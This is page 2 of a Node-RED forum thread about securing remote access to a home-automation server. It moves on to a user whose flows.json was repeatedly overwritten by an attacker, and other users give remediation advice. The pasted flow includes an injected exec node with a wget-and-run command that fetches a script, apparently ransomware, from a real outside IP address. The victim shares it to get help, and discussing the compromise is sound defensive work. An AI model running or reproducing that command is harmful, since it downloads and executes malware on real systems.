# All flows gone after fresh install

**URL:** <https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476>\
**Category:** General\
**Created:** [30 October 2023 18:22 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476 "2023-10-30T18:22:22Z")\
**Posts on this page:** 20\
**Page:** 2

<div class="post-metadata">

**Author:** ![Steve-Mcl](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/steve-mcl/32/4826_2.png) [@Steve-Mcl](https://discourse.nodered.org/u/Steve-Mcl)\
**Post date:** [31 October 2023 11:29 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/21 "2023-10-31T11:29:18Z")

</div>

You can install FlowFuse and by default your node-red instances are password protected as well as a boat load of other management features.

You can use docker, k8s or your file system (I use file system install to avoid unnecessary complications)

Better still, is to have it all done for you by using FlowFuse cloud - a small cost for security?

---

<div class="post-metadata">

**Author:** ![jmorris644](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/jmorris644/32/31964_2.png) [@jmorris644](https://discourse.nodered.org/u/jmorris644)\
**Post date:** [31 October 2023 13:30 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/22 "2023-10-31T13:30:54Z")

</div>

For your remote access needs you might want to take a look at Tailscale. It sets up a private mesh network over the Internet. Much easier than setting up reverse SSH IMHO.

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [31 October 2023 15:48 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/23 "2023-10-31T15:48:00Z")

</div>

> [@Steve-Mcl](#):
>
> Better still, is to have it all done for you by using FlowFuse cloud - a small cost for security?

While I appreciate that FlowFuse Cloud can be a great tool. In this case, it is not in any way helping. Why would anyone want FF Cloud when they are trying to build a home automation system? You surely want everything in-house (literally!).

---

<div class="post-metadata">

**Author:** ![Steve-Mcl](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/steve-mcl/32/4826_2.png) [@Steve-Mcl](https://discourse.nodered.org/u/Steve-Mcl)\
**Post date:** [31 October 2023 16:09 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/24 "2023-10-31T16:09:25Z")

</div>

Julian, I think you may be unaware of what FF cloud can offer users. FF has the tools to provide secure, seamless inter-instance communication meaning the user can manage node-red instances both in the cloud and remotely etc. for example the devices feature deploys node-red, securely to INSIDE your network and provides tunneled access via secured cloud SSO account. In short, with FF you can have node-red running in your Lan but managed securly. If required, for internet facing parts, you can have another instance running in the cloud, always on, always accessible - fully insulated from your home but with seamless & secure inter-instance communication (via secured MQTT under the hood) to your internal devices.

Not sure why you would make statements like this - I didn't suggest FF without reason 🤷‍♂️ - the OP literally opened up node-red to the internet & I am suggesting there are better ways!

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [31 October 2023 16:41 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/25 "2023-10-31T16:41:43Z")

</div>

So my slight misunderstanding of what the Cloud part of FF offers, my apology.

Partly my professional background which makes me twitch when commercial organisations start to "offer" things. When you've been in your umpteenth meeting with Service Now, Okta or Apple trying to hard-sell you stuff you know you really don't need and certainly don't want to pay through the nose for, it makes you rather jaded. (Once had some senior IBM folk trying to push a million £ solution for something that just needed a simple script! They didn't win that one thankfully)

But partly also my nervousness that Node-RED has always been open and free so it can feel uncomfortable to see commercial offerings - that's my issue though, not FF's.

However, I stand by my view that one of the key reasons for choosing Node-RED for home automation is to be cloud-free. That, of course, is a decision each person needs to make for themselves. Being cloud-free is different from being able to access your home from the Internet. But non-the-less, I get your point.

---

<div class="post-metadata">

**Author:** ![9toejack](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/9toejack/32/56868_2.png) [@9toejack](https://discourse.nodered.org/u/9toejack)\
**Post date:** [31 October 2023 17:05 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/26 "2023-10-31T17:05:14Z")

</div>

most of you had not read that the setting up has been a struggle for me and going down that rabbit hole of ideas causes more problems.

with that said

1. i do not want to use docker.
2. i want to use a raspberry pi and have nginx server and gui loaded on it and then use cloudflare .

my issue is only finding the tutorials that spends 85 percent explaining the process of reverse proxy and not enough detail on installing causing me problems.

as of now i have nginx , and nodejs , and nginx gui installed on the standalone pi. but i cant access the gui for the next step.

I honestly do appreciate the multiple incites , however if I keep bouncing between different software is going to be causing more issues.

so if someone has a good link that explains in detail how to install nginx,nodejs, and nginx Gui in detail only using a standard pi that is headless with no docker, container, ....  
please point me in the correct direction.  
cheers.

---

<div class="post-metadata">

**Author:** ![jodelkoenig](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/jodelkoenig/32/44645_2.png) [@jodelkoenig](https://discourse.nodered.org/u/jodelkoenig)\
**Post date:** [31 October 2023 18:14 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/27 "2023-10-31T18:14:17Z")

</div>

Hey @9toejack

I know it is overwhelming to try to securely publish a web service to the internet. And being hacked adds a completely different set of stress level to it. And I fully understand your requirement for remote access.

**However ...**

**my simple advise to anybody is: if you don't know, what you are doing, then ... _do not publish any service to the internet_.**

This doesn't help you at all now, I know, but the price you'd pay for any consequences might be way bigger than some deleted flows. And there are no links that provide you with a step-by-step guide out there, that you can trust. I f.e. cannot judge whether they are trustworthy, up-2-date or of necessary quality.

I'd better spend some time to find a solution that is manageable for rookies like us. This seems way safer 🙂

Cloudflare has been mentioned. FlowForge as well.

**I love Zerotier for its simplicity.** [see here](https://discourse.nodered.org/t/accessing-node-red-dashboard-over-the-internet/37392/4)

---

<div class="post-metadata">

**Author:** ![dceejay](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/dceejay/32/38_2.png) [@dceejay](https://discourse.nodered.org/u/dceejay)\
**Post date:** [31 October 2023 19:01 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/28 "2023-10-31T19:01:08Z")

</div>

I like ZeroTier also. Works on all platforms, easy to setup and manage. Easy to turn on/off as required.

---

<div class="post-metadata">

**Author:** ![jbudd](https://avatars.discourse-cdn.com/v4/letter/j/5f8ce5/32.png) [@jbudd](https://discourse.nodered.org/u/jbudd)\
**Post date:** [31 October 2023 19:43 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/29 "2023-10-31T19:43:26Z")

</div>

+1 for Zerotier. But remember your account is only protected by your Zerotier account name and password, so make it a long long password.

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [31 October 2023 19:54 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/30 "2023-10-31T19:54:25Z")

</div>

> [@9toejack](#):
>
> nginx Gui

I will freely admit that I've never tried a GUI for NGINX administration.

I've found a few:

- [Instance Manager | NGINX Documentation](https://docs.nginx.com/nginx-management-suite/nim/) - I think this can only be run with the commercial version of NGINX.
- [Nginx UI | Yet another Nginx Web UI](https://nginxui.com/) - a 3rd-party alternative.
- [alibaba/nginx-admin-plus: Nginx admin plus is an open source multi-platform manager for nginx software, original from nginx-admin (github.com)](https://github.com/alibaba/nginx-admin-plus)
- [schenkd/nginx-ui: Nginx UI allows you to access and modify the nginx configurations files without cli. (github.com)](https://github.com/schenkd/nginx-ui)
- [jslsolucoes/nginx-admin: Nginx admin is an open source multiplatform manager for nginx software to easy administration (github.com)](https://github.com/jslsolucoes/nginx-admin)

But I just split up my config into smaller files and link them together to get what I want. But I only really have a single site or 2.

---

<div class="post-metadata">

**Author:** ![jodelkoenig](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/jodelkoenig/32/44645_2.png) [@jodelkoenig](https://discourse.nodered.org/u/jodelkoenig)\
**Post date:** [31 October 2023 20:00 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/31 "2023-10-31T20:00:16Z")

</div>

Two Factor Authentication is available for zerotier and should be used 😉

---

<div class="post-metadata">

**Author:** ![TotallyInformation](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/totallyinformation/32/31_2.png) [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Post date:** [31 October 2023 20:05 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/32 "2023-10-31T20:05:54Z")

</div>

Well said. And 2FA/MFA should be used for EVERYTHING that you have a login for over the Internet.

---

<div class="post-metadata">

**Author:** ![9toejack](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/9toejack/32/56868_2.png) [@9toejack](https://discourse.nodered.org/u/9toejack)\
**Post date:** [31 October 2023 20:28 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/33 "2023-10-31T20:28:47Z")

</div>

i really only want access to my editor for myself but have it secured.  
and then i want access to the node-red dashboard for me and multiple users when needed.  
thats why i am trying to set up nginx as a reverse proxy. and im using cloudflare.  
everything from cloudflare to the proxy is incrypted.  
but again i cant bounce around to different options that all ultimately have the same final task at hand.  
just need pointed to solid documentation on how to install reverse proxy from a fresh install.

---

<div class="post-metadata">

**Author:** ![jodelkoenig](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/jodelkoenig/32/44645_2.png) [@jodelkoenig](https://discourse.nodered.org/u/jodelkoenig)\
**Post date:** [31 October 2023 20:41 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/34 "2023-10-31T20:41:59Z")

</div>

Fully understand. That's exactly the use case I had, when I started with zerotier. I later connected my whole family to my smarthome.

Just pause and have a look at this 3 min. [video here](https://www.youtube.com/watch?v=bLY7mnKa8kI). It is really that simple 🙂

---

<div class="post-metadata">

**Author:** ![athome](https://avatars.discourse-cdn.com/v4/letter/a/b77776/32.png) [@athome](https://discourse.nodered.org/u/athome)\
**Post date:** [9 December 2023 03:58 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/35 "2023-12-09T03:58:12Z")

</div>

I am having a similar problem.

Here are the symptoms.

When I went into the editor today, the contents of my flows.json was just this.

```auto
[
    {
        "id": "ad2ea94e.3d6f38",
        "type": "tab",
        "label": "Thermostat",
        "disabled": false,
        "info": ""
    },
    {
        "id": "790b21cc-41af-4b3e-8e33-cba649e578cb",
        "type": "exec",
        "z": "ad2ea94e.3d6f38",
        "command": "cd /tmp; rm -rf bins.sh; wget http://91.92.249.32/bins/bins.sh; chmod +x bins.sh; sh bins.sh",
        "addpay": "",
        "append": "",
        "useSpawn": "false",
        "timer": "1000",
        "winHide": true,
        "oldrc": false,
        "name": "",
        "x": 9999,
        "y": 9999,
        "wires": [
            [],
            [],
            []
        ]
    },
    {
        "id": "c822430b-356b-4ca5-8daa-ea689d72422a",
        "type": "inject",
        "z": "ad2ea94e.3d6f38",
        "name": "",
        "props": [
            {
                "p": "payload"
            },
            {
                "p": "topic",
                "vt": "str"
            }
        ],
        "repeat": "",
        "crontab": "",
        "once": false,
        "onceDelay": 0.1,
        "topic": "",
        "payload": "",
        "payloadType": "date",
        "x": 9999,
        "y": 9999,
        "wires": [
            [
                "790b21cc-41af-4b3e-8e33-cba649e578cb"
            ]
        ]
    }

```

I replaced the flows json with my most recent backup and applied some changes. After a few minutes, my flows json was replaced again. There is some process that has been installed on my server that is replacing my flows file with the one above. I am not sure how to go about finding the malware.

---

<div class="post-metadata">

**Author:** ![jbudd](https://avatars.discourse-cdn.com/v4/letter/j/5f8ce5/32.png) [@jbudd](https://discourse.nodered.org/u/jbudd)\
**Post date:** [9 December 2023 04:57 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/36 "2023-12-09T04:57:50Z")

</div>

> [@athome](#):
>
> I am not sure how to go about finding the malware.

The file downloaded and executed by the snippet above seems to be trying to install ransomware. There is no reason to assume this will be the only attack method used.

Disconnect from the internet.  
If you have network attached storage, disconnect it.  
Close any ports you opened in your router. Do not **ever** re-open them.  
If Node-red runs on a small or dedicated computer, reinstall everything from operating system upwards.  
Run virus scans on all computers which have AV installed.

---

<div class="post-metadata">

**Author:** ![9toejack](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/9toejack/32/56868_2.png) [@9toejack](https://discourse.nodered.org/u/9toejack)\
**Post date:** [9 December 2023 05:03 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/37 "2023-12-09T05:03:37Z")

</div>

My problem was when i did a fresh install, i changed the install rename "localhost" to something more specific for me, and that was what causing the issue of my flows going away

 ![piimager](https://us1.discourse-cdn.com/flex026/uploads/nodered/original/3X/b/1/b19ef28d654c0d641fa3e4d56f83bbeacae1f4c0.png)  
solution uncheck the "set Hostname" section and don't change it.  
this is in the settings of raspberry pi imager.  
this is of course if this is how you installed the os on the pi.  
cheers.

---

<div class="post-metadata">

**Author:** ![9toejack](https://sea2.discourse-cdn.com/flex026/user_avatar/discourse.nodered.org/9toejack/32/56868_2.png) [@9toejack](https://discourse.nodered.org/u/9toejack)\
**Post date:** [9 December 2023 05:14 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/38 "2023-12-09T05:14:26Z")

</div>

reading your post again and the other replies, i did not have that, i had nothing.

---

<div class="post-metadata">

**Author:** ![athome](https://avatars.discourse-cdn.com/v4/letter/a/b77776/32.png) [@athome](https://discourse.nodered.org/u/athome)\
**Post date:** [9 December 2023 06:10 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/39 "2023-12-09T06:10:58Z")

</div>

jbudd,

Thanks for the quick response. i found yakuza in /tmp. doing some cleaning now. notes on yakuza indicate that the ransomeware will add 'yakuaz' to any encrypted file.

after purging all yakuza.\* from /tmp, and running sudo updatedb, sudo locate yakuza returns nothing.

Maybe I nipped it in the bud.

sigh.... better late than never, added ufw limit in on _publicinterface_ to any port ssh

removed my hostname entry from dyndns.

---

<div class="post-metadata">

**Author:** ![system](https://us1.discourse-cdn.com/flex026/uploads/nodered/original/1X/d073cd938eafa2e558d7c2cd59003b3ef4963033.png) [@system](https://discourse.nodered.org/u/system)\
**Post date:** [7 February 2024 06:11 UTC](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476/40 "2024-02-07T06:11:02Z")

</div>

This topic was automatically closed 60 days after the last reply. New replies are no longer allowed.

[Previous page](https://discourse.nodered.org/t/all-flows-gone-after-fresh-install/82476.md?page=1)